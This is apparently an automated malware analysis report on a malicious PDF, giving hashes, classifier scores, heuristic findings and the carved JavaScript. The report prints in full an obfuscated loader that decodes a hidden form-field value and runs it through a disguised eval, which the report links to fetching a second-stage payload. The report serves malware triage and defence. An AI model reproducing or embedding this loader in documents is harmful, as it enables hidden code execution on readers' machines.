Malicious PDF — malware analysis report

Static analysis result for SHA-256 d6d9d5f90ee97131…

MALICIOUS

PDF

43.5 KB Created: 2012-08-03 07:50:33 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: ee758053ca2f7786a7ec681af0b2ab76 SHA-1: 782fd50a11ef581d71ce116af3010fb64d715a44 SHA-256: d6d9d5f90ee9713163776bb8e7a14a2e7f013499c5e5ed272747a17aa70c7b8f
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream is obfuscated and appears to be designed to download and execute a second-stage payload from a remote source. The presence of JavaScript actions and embedded JS streams, along with the ML classification, strongly suggests malicious intent. The specific payload and delivery mechanism could not be fully determined due to obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9978

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function opjifodshguidfs(asd){return String.fromCharCode(asd);}
function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xAA4D 1451 bytes
SHA-256: 02e264fff57c65df079edde14f6524a7a20b36823b6cf2fdcc1f472564a84888
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function herwerwert(){
function uerhsdgaFSDAGAS(str){var set='';var s='';var ee='';
str = uvysaudyfqwufqw(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/(18/6);
set+=ytyutdyusavdfyusd(ee.toString(64/4));}
return set;}
function iuibuisdobfigwe(hex) {
    var str = '';var zzz=opjifodshguidfs;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=opjifodshguidfs('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}return str;}
function obuiaosbdfiog(input2) {var asdf =uerhsdgaFSDAGAS(input2) ; var asfdsad = iuibuisdobfigwe(asdf); return asfdsad;}
function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function opjifodshguidfs(asd){return String.fromCharCode(asd);}
function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
function ytyutdyusavdfyusd(eds){var set='';var s=eds;
if (s.length<2)
{set=jgsdfgergeg(s);}
else{set=s;}
return set;}
function wasbyuqewbewui(d,dd){return d+dd;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=obuiaosbdfiog(aDFsdfasd);
var ohgioahgopqwpgasdfqwf  = app.alert['constructor'];
var hqgasdfqw="false";var jdhkluyrrtj="true";
var jyethwerewfg="gakljsdhjkashkvhjaksjldadsf";
var ojopdghosasopas=jdhkluyrrtj[(3+3)/2];
ojopdghosasopas+=jyethwerewfg[(14+14)/2];
ojopdghosasopas+=hqgasdfqw[((1+9)/5)-1];
ojopdghosasopas+=hqgasdfqw[(2+10)/6];
ohgioahgopqwpgasdfqwf[ojopdghosasopas](aDFsdfasd);
}
herwerwert();

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